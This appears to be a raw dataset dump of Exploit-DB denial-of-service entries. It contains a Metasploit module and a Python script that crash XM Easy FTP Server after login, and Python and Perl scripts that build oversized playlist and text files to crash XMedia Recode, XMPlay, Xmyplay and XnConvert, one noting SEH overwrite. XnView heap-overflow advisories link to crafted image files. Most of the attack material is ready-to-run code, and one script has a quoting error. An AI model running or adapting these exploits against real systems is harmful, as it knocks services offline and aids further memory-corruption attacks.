deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9804
Description: XM Easy Personal FTP Server 5.8.0 - Denial of Service (Metasploit)
Type: dos
Platform: windows
Date: 2009-11-10
Author: zhangmc

Exploit:
# Exploit Title: XM Easy Personal FTP Server LIST DoS (Meta)
# Date: 4/17/2010
# Author: Jeremiah Talamantes
# Software Link: http://www.dxm2008.com/data/ftpserversetup.exe
# Version: 5.8.0
# Tested on: Windows XP, SP2
# CVE : N/A
# Code : http://www.redteamsecure.com/assets/company/exploits/xmftp/xmexploit.p

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/ 
##

##
# xmeasy580_list.rb
#
# XM Easy Personal FTP Server 5.8.0 LIST DoS
#
# Tested on: Windows XP, SP2 (EN)
#
# Date tested: 4/17/2010
#
# First you must login to the FTP server in order to execute the DoS
# attack. This module exploits a weakness in the LIST command.
#
# Discovered by: Jeremiah Talamantes
# RedTeam Security
# http://www.redteamsecure.com
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Ftp
	include Msf::Auxiliary::Dos
	
	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'XM Easy Personal FTP Server 5.8.0 LIST DoS',
			'Description'    => %q{
				This module exploits a DoS vulnerability in the LIST command
				in XM Easy Personal FTP Server 5.8.0. In order to execute this
				exploit, you must first login to the FTP server. This was only
				tested on Windows XP, SP2 (EN).
			},
			'Author'         => 'Jeremiah Talamantes (RedTeam Security)',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 1234 $',
			'References'     => [
				[ 'URL', 'None' ]
			],
			'DisclosureDate' => 'Apr 17 2010')
		)

		# Required settings
		register_options([
			OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
			OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
		])
	end

	def run
		return unless connect_login

		raw_send("LIST \r\n")
		
		disconnect

		print_status("Check to see if the server is responding...")
	end
end
Exploit-DB #10257
Description: XM Easy Professional FTP Server 5.8.0 - Denial of Service
Type: dos
Platform: windows
Date: 2009-11-30
Author: Mert SARICA

Exploit:
# I discovered a denial-of-service vulnerability on XM Easy Professional
# FTP Server product.
# After successfuly logged-in, when you send "HELP AAAA...(4074 times)",
# ftp daemon crashes.

# -----------------------

# Exploit Title: XM Easy Professional FTP Server 5.8.0 Denial Of Service Vulnerability
# Date: 27.11.2009
# Author: Mert SARICA
# Software Link: http://www.dxm2008.com/data/ftpserversetup.exe
# Version: 5.8.0
# Tested on: Windows XP SP3

# XM Easy Professional FTP Server 5.8.0
# Denial of Service Vulnerability
# Note: FTP account is required for exploitation
# http://www.mertsarica.com

from ftplib import *
import sys
import ftplib

try: 
    ftp = FTP('localhost')   # connect to host, default port
except:
    print "Connection error"
    sys.exit(1)
    
try:
    ftp.login()              # user anonymous, passwd anonymous@
except:
    print "Login failed"
    sys.exit(1)

packet = "HELP " + "MS" * 2037 # magic packet

try:
    ftp.sendcmd(packet)
    ftp.quit()
except ftplib.all_errors, error:
    print("Very good, young padawan, but you still have much to learn...")
Exploit-DB #47679
Description: XMedia Recode 3.4.8.6 - '.m3u' Denial Of Service
Type: dos
Platform: windows
Date: 2019-11-19
Author: ZwX

Exploit:
#Exploit Title: XMedia Recode 3.4.8.6 - '.m3u' Denial Of Service
#Exploit Author : ZwX
#Exploit Date: 2019-11-18
#Vendor Homepage : https://www.xmedia-recode.de/
#Link Software : https://www.xmedia-recode.de/download.php
#Tested on OS: Windows 7
#Social: twitter.com/ZwX2a
#contact: msk4@live.fr

'''
Proof of Concept (PoC):
=======================

1.Download and install XMedia Recode 
2.Run the python operating script that will create a file (poc.m3u)
3.Run the software "File -> Open File -> Add the file (.m3u) "
4.XMedia Recode Crashed
'''

#!/usr/bin/python

http = "http://" 
buffer = "\x41" * 500 

poc = http + buffer
file = open("poc.m3u,"w")
file.write(poc)
file.close()

print "POC Created by ZwX"
Exploit-DB #37798
Description: XMPlay 3.8.1.12 - '.pls' Local Crash (PoC)
Type: dos
Platform: windows
Date: 2015-08-17
Author: St0rn

Exploit:
#!/usr/bin/env python
#
# Exploit Title: XMPlay .pls Local Crash poc
# Date: 2015-08-16
# Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
# Twitter: st0rnpentest
#
# Vendor Homepage: http://www.un4seen.com/
# Software Link:   http://www.un4seen.com/download.php?xmplay38
# Version: 3.8.1.12
# Tested on: Windows 7
#


# Stack Overflowing xmplay, but we can't 
# rewrite any register ou SE Handler

def generateCrash():
 crash="""[playlist]
numberofentries=1
file1="""

 crash+="pwned"*1000000
 return crash



try:
 f=open("xmplay.pls","w")
 f.write(generateCrash())
 f.close
 print "Evil xmplay.pls generated!"
except:
 print "I can't create file :/"
Exploit-DB #45887
Description: XMPlay 3.8.3 - '.m3u' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-11-19
Author: s7acktrac3

Exploit:
# Exploit Title: XMPlay 3.8.3 - '.m3u' Denial of Service (PoC)
# Date: 2018-11-18
# Exploit Author: s7acktrac3
# Vendor Homepage: https://www.xmplay.com/
# Software Link: https://support.xmplay.com/files_view.php?file_id=676
# Version: 3.8.3 (latest)
# Tested on: Windows XP/7/8
# CVE : N/A
#
# Lauch XMPlay and either drag xmplay.m3u into the XMPlay window or
# File Menu-> select winamp.m3u and Crash!
# -*- coding: utf-8 -*-
#
# Note: Successfully can overwrite the SEH chain & control the handler and nSEH
# but the address get mangled & unreconizable, for this reason could not turn into
# code execution.

import struct
from struct import pack

file_data = "#EXTM3U\n\r"
file_data += "#EXTINF:200,Sleep Away\n\r"
file_data += "http://test."

max_size = 3000 - 1
nseh_offset = 656

seh_overwrite = pack("<L", 0x00402450)

payload = "A" * nseh_offset	# padding for nseh
payload += "BBBB"				# nseh
payload += seh_overwrite		# seh

#padding for rest of payload - pipe "|" is needed somehow to force crash 
payload += "D" *(max_size - len(payload)) + "|"
print "[+] Creating .m3u file with payload size: "+ str(len(payload))

exploit = file_data + payload

file = open('xmplay.m3u','w');
file.write(exploit);
file.close();
 
print "[+] Done creating the file"
Exploit-DB #14515
Description: Xmyplay 3.5.1 - Denial of Service
Type: dos
Platform: windows
Date: 2010-07-31
Author: s-dz

Exploit:
#!/usr/bin/perl
# Xmyplay 3.5.1 
# Author: s-dz        , s-dz@hotmail.fr
# Download : http://us2.un4seen.com/files/xmplay35.zip
# Tested : Windows XP SP2 (fr)
# DATE   : 2010-07-31

my $file= "mahboul-3lik00.m3u";
my $junk= "\x41" x  1000000;

open($FILE, ">$file");
print($FILE $junk);
close($FILE);
print("exploit created successfully");
Exploit-DB #47801
Description: XnConvert 1.82 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-12-23
Author: Gokkulraj

Exploit:
# Exploit Title: XnConvert 1.82 - Denial of Service (PoC)
# Date: 2019-12-21
# Vendor Homepage: https://www.xnview.com
# Software Link: https://www.xnview.com/en/apps/
# Exploit Author: Gokkulraj (TwinTech Solutions)
# Tested Version: v1.82
# Tested on: Windows 7 x64

# 1.- Download and install XnConvert
# 2.- Run python code : XnConvert.py
# 3.- Open EVIL.txt and copy content to clipboard
# 4.- Open XnConvert and Click 'EnterKey'
# 5.- Paste the content of EVIL.txt into the Field: 'User Name and Registration Code'
# 6.- Click 'OK' and you will see a pop-up stating Invalid code and then click 'OK' you will see the crash.

#!/usr/bin/env python
Dos= "\x41" * 9000
myfile=open('Evil.txt','w')
myfile.writelines(Dos)
myfile.close()
print("File created")
Exploit-DB #19182
Description: XnView - '.ECW' Image Processing Heap Overflow
Type: dos
Platform: windows
Date: 2012-06-16
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   XnView ECW Image Processing Heap Overflow
Platforms:   Windows 

Secunia:   SA49091  

{PRL}:   2012-13

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
XnView is a cross-platform image viewer used for viewing, converting, organising and editing graphical & video files.
It is free of charge for private, educational and non-profit organisations. For commercial use and distribution,
the user must register the program. It is popular with users as it provides features normally found only
in commercial image viewers.

(http://en.wikipedia.org/wiki/XnView)

#####################################################################################

============================
2) Report Timeline
============================

2012-05-15  Vulnerability reported to Secunia
2012-06-15  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
A boundary error in the NCSEcw.dll module when decompressing Enhanced
Compressed Wavelet images can be exploited to cause a heap-based buffer
overflow via a specially crafted ECW file.

#####################################################################################

===========
4) The Code
===========

http://www.protekresearchlab.com/exploits/PRL-2012-13.ecw
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19182.ecw
Exploit-DB #19183
Description: XnView - '.FlashPix' Image Processing Heap Overflow
Type: dos
Platform: windows
Date: 2012-06-16
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   XnView FlashPix Image Processing Heap Overflow
Platforms:   Windows 

Secunia:   SA49091  

{PRL}:   2012-12

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
XnView is a cross-platform image viewer used for viewing, converting, organising and editing graphical & video files.
It is free of charge for private, educational and non-profit organisations. For commercial use and distribution,
the user must register the program. It is popular with users as it provides features normally found only
in commercial image viewers.

(http://en.wikipedia.org/wiki/XnView)

#####################################################################################

============================
2) Report Timeline
============================

2012-05-15  Vulnerability reported to Secunia
2012-06-15  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
A boundary error in the Xfpx.dll module when processing FlashPix images can be
exploited to cause a heap-based buffer overflow via a specially crafted FPX file.

#####################################################################################

===========
4) The Code
===========

http://www.protekresearchlab.com/exploits/PRL-2012-12.fpx
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19183.fpx
Exploit-DB #19181
Description: XnView - '.RAS' Image Processing Heap Overflow
Type: dos
Platform: windows
Date: 2012-06-16
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   XnView RAS Image Processing Heap Overflow
Platforms:   Windows 

Secunia:   SA49091  

{PRL}:   2012-14

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
XnView is a cross-platform image viewer used for viewing, converting, organising and editing graphical & video files.
It is free of charge for private, educational and non-profit organisations. For commercial use and distribution,
the user must register the program. It is popular with users as it provides features normally found only
in commercial image viewers.

(http://en.wikipedia.org/wiki/XnView)

#####################################################################################

============================
2) Report Timeline
============================ 

2012-05-15  Vulnerability reported to Secunia
2012-06-15  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
An integer truncation error when processing Sun Raster images can be exploited
to cause a heap-based buffer overflow via a specially crafted "Depth" value in a RAS file.

#####################################################################################

===========
4) The Code
===========

http://www.protekresearchlab.com/exploits/PRL-2012-14.ras
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19181.ras
Exploit-DB #19335
Description: XnView 1.98.8 - '.gif' Image Processing Heap Overflow
Type: dos
Platform: windows
Date: 2012-06-22
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   XnView GIF Image Processing Heap Overflow
Platforms:   Windows 

Secunia:   SA48666  

{PRL}:   2012-18

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
XnView is a cross-platform image viewer used for viewing, converting, organising and editing graphical & video files.
It is free of charge for private, educational and non-profit organisations. For commercial use and distribution,
the user must register the program. It is popular with users as it provides features normally found only
in commercial image viewers.

(http://en.wikipedia.org/wiki/XnView)

#####################################################################################

============================
2) Report Timeline
============================ 

2012-05-15  Vulnerability reported to Secunia
2012-06-21  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
An indexing error when processing the ImageDescriptor structure of GIF images
can be exploited to corrupt memory via a specially crafted "ImageLeftPosition" value.
 
The vulnerabilities are confirmed in version 1.98.8. Other versions may also be affected

#####################################################################################

===========
4) The Code
===========

http://protekresearchlab.com/exploits/PRL-2012-18.gif
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37347.gif
Exploit-DB #19336
Description: XnView 1.98.8 - '.PCT' Image Processing Heap Overflow
Type: dos
Platform: windows
Date: 2012-06-22
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   XnView PCT Image Processing Heap Overflow
Platforms:   Windows 

Secunia:   SA48666  

{PRL}:   2012-17

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
XnView is a cross-platform image viewer used for viewing, converting, organising and editing graphical & video files.
It is free of charge for private, educational and non-profit organisations. For commercial use and distribution,
the user must register the program. It is popular with users as it provides features normally found only
in commercial image viewers.

(http://en.wikipedia.org/wiki/XnView)

#####################################################################################

============================
2) Report Timeline
============================ 

2012-05-15  Vulnerability reported to Secunia
2012-06-21  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
Insufficient validation when decompressing PCT images can be exploited
to cause a heap-based buffer overflow.
 
The vulnerabilities are confirmed in version 1.98.8. Other versions may also be affected

#####################################################################################

===========
4) The Code
===========

http://protekresearchlab.com/exploits/PRL-2012-17.pct
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19336.pct
Exploit-DB #19337
Description: XnView 1.98.8 - '.tiff' Image Processing Heap Overflow (1)
Type: dos
Platform: windows
Date: 2012-06-22
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   XnView TIFF Image Processing Heap Overflow
Platforms:   Windows 

Secunia:   SA48666  

{PRL}:   2012-16

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
XnView is a cross-platform image viewer used for viewing, converting, organising and editing graphical & video files.
It is free of charge for private, educational and non-profit organisations. For commercial use and distribution,
the user must register the program. It is popular with users as it provides features normally found only
in commercial image viewers.

(http://en.wikipedia.org/wiki/XnView)

#####################################################################################

============================
2) Report Timeline
============================ 

2012-05-15  Vulnerability reported to Secunia
2012-06-21  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
Insufficient validation when decompressing SGI32LogLum compressed TIFF
images where the PhotometricInterpretation encoding is set to LogL can
be exploited to cause a heap-based buffer overflow.
 
The vulnerabilities are confirmed in version 1.98.8. Other versions may also be affected

#####################################################################################

===========
4) The Code
===========

http://protekresearchlab.com/exploits/PRL-2012-16.tiff
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19337.tiff
Exploit-DB #19338
Description: XnView 1.98.8 - '.tiff' Image Processing Heap Overflow (2)
Type: dos
Platform: windows
Date: 2012-06-22
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   XnView TIFF Image Processing Heap Overflow
Platforms:   Windows 

Secunia:   SA48666    

{PRL}:   2012-15

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
XnView is a cross-platform image viewer used for viewing, converting, organising and editing graphical & video files.
It is free of charge for private, educational and non-profit organisations. For commercial use and distribution,
the user must register the program. It is popular with users as it provides features normally found only
in commercial image viewers.

(http://en.wikipedia.org/wiki/XnView)

#####################################################################################

============================
2) Report Timeline
============================ 

2012-05-15  Vulnerability reported to Secunia
2012-06-21  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
Insufficient validation when decompressing SGI32LogLum compressed TIFF
images can be exploited to cause a heap-based buffer overflow.
 
The vulnerabilities are confirmed in version 1.98.8. Other versions may also be affected

#####################################################################################

===========
4) The Code
===========

http://protekresearchlab.com/exploits/PRL-2012-15.tif
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19338.tif